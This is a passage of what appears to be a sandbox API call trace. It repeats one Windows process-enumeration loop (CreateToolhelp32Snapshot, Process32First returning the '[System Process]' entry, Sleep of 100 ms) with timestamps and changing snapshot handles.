CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0208.237] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.349] Sleep (dwMilliseconds=0x64) [0208.350] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0208.368] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.479] Sleep (dwMilliseconds=0x64) [0208.506] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0208.519] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.626] Sleep (dwMilliseconds=0x64) [0208.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0208.642] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.743] Sleep (dwMilliseconds=0x64) [0208.744] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0208.790] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.882] Sleep (dwMilliseconds=0x64) [0208.883] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0209.026] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.122] Sleep (dwMilliseconds=0x64) [0209.123] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0209.196] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.295] Sleep (dwMilliseconds=0x64) [0209.296] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0209.395] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.485] Sleep (dwMilliseconds=0x64) [0209.591] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0209.779] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.856] Sleep (dwMilliseconds=0x64) [0210.040] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0210.056] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.250] Sleep (dwMilliseconds=0x64) [0210.252] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0210.265] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.443] Sleep (dwMilliseconds=0x64) [0210.549] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0210.562] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.736] Sleep (dwMilliseconds=0x64) [0210.746] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0210.759] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.855] Sleep (dwMilliseconds=0x64) [0211.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0211.019] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.107] Sleep (dwMilliseconds=0x64) [0211.196] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0211.358] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.449] Sleep (dwMilliseconds=0x64) [0211.559] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0211.604] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.717] Sleep (dwMilliseconds=0x64) [0211.719] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0211.733] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.906] Sleep (dwMilliseconds=0x64) [0212.018] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0212.029] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.257] Sleep (dwMilliseconds=0x64) [0212.357] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0212.369] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.537] Sleep (dwMilliseconds=0x64) [0212.538] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0212.550] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.743] Sleep (dwMilliseconds=0x64) [0212.745] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0212.758] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.833] Sleep (dwMilliseconds=0x64) [0212.995] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0213.156] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.223] Sleep (dwMilliseconds=0x64) [0213.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0213.271] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.464] Sleep (dwMilliseconds=0x64) [0213.569] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f10 [0213.582] Process32First (in: hSnapshot=0x1f10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.902] Sleep (dwMilliseconds=0x64) [0214.067] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f10 [0214.084] Process32First (in: hSnapshot=0x1f10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.219] Sleep (dwMilliseconds=0x64) [0214.260] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f10 [0214.291] Process32First (in: hSnapshot=0x1f10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.442] Sleep (dwMilliseconds=0x64) [0214.444] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f10 [0214.462] Process32First (in: hSnapshot=0x1f10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.616] Sleep (dwMilliseconds=0x64) [0214.617] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f10 [0214.635] Process32First (in: hSnapshot=0x1f10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.798] Sleep (dwMilliseconds=0x64) [0214.974] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f10 [0214.988] Process32First (in: hSnapshot=0x1f10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.201] Sleep (dwMilliseconds=0x64) [0215.300] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f10 [0215.318] Process32First (in: hSnapshot=0x1f10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.494] Sleep (dwMilliseconds=0x64) [0215.503] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f10 [0215.516] Process32First (in: hSnapshot=0x1f10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.585] Sleep (dwMilliseconds=0x64) [0215.690] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0215.893] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.965] Sleep (dwMilliseconds=0x64) [0216.232] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21e4 [0216.246] Process32First (in: hSnapshot=0x21e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.376] Sleep (dwMilliseconds=0x64) [0216.447] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21e4 [0216.461] Process32First (in: hSnapshot=0x21e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.577] Sleep (dwMilliseconds=0x64) [0216.579] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21e4 [0216.595] Process32First (in: hSnapshot=0x21e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.705] Sleep (dwMilliseconds=0x64) [0216.795] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21e4 [0216.814] Process32First (in: hSnapshot=0x21e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.033] Sleep (dwMilliseconds=0x64) [0217.169] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21e4 [0217.183] Process32First (in: hSnapshot=0x21e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.375] Sleep (dwMilliseconds=0x64) [0217.407] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21e4 [0217.420] Process32First (in: hSnapshot=0x21e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.588] Sleep (dwMilliseconds=0x64) [0217.589] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21e4 [0217.601] Process32First (in: hSnapshot=0x21e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.673] Sleep (dwMilliseconds=0x64) [0217.791] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c58 [0217.937] Process32First (in: hSnapshot=0x1c58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.006] Sleep (dwMilliseconds=0x64) [0218.114] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0218.127] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.289] Sleep (dwMilliseconds=0x64) [0218.357] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0218.376] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.623] Sleep (dwMilliseconds=0x64) [0218.732] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0218.752] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.973] Sleep (dwMilliseconds=0x64) [0219.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0219.026] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.164] Sleep (dwMilliseconds=0x64) [0219.166] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0219.182] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.323] Sleep (dwMilliseconds=0x64) [0219.325] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0219.344] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.477] Sleep (dwMilliseconds=0x64) [0219.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0219.493] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.134] Sleep (dwMilliseconds=0x64) [0220.136] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0220.182] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.316] Sleep (dwMilliseconds=0x64) [0220.321] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0220.357] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.582] Sleep (dwMilliseconds=0x64) [0220.583] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0220.642] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.752] Sleep (dwMilliseconds=0x64) [0220.768] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0220.786] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.915] Sleep (dwMilliseconds=0x64) [0220.931] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0220.948] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.074] Sleep (dwMilliseconds=0x64) [0221.076] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0221.134] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.227] Sleep (dwMilliseconds=0x64) [0221.238] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0221.299] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.371] Sleep (dwMilliseconds=0x64) [0221.373] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0221.385] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.485] Sleep (dwMilliseconds=0x64) [0221.495] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0221.508] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.615] Sleep (dwMilliseconds=0x64) [0221.616] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0221.634] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.748] Sleep (dwMilliseconds=0x64) [0221.749] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0221.767] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.898] Sleep (dwMilliseconds=0x64) [0221.900] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0221.918] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.033] Sleep (dwMilliseconds=0x64) [0222.042] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0222.056] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, 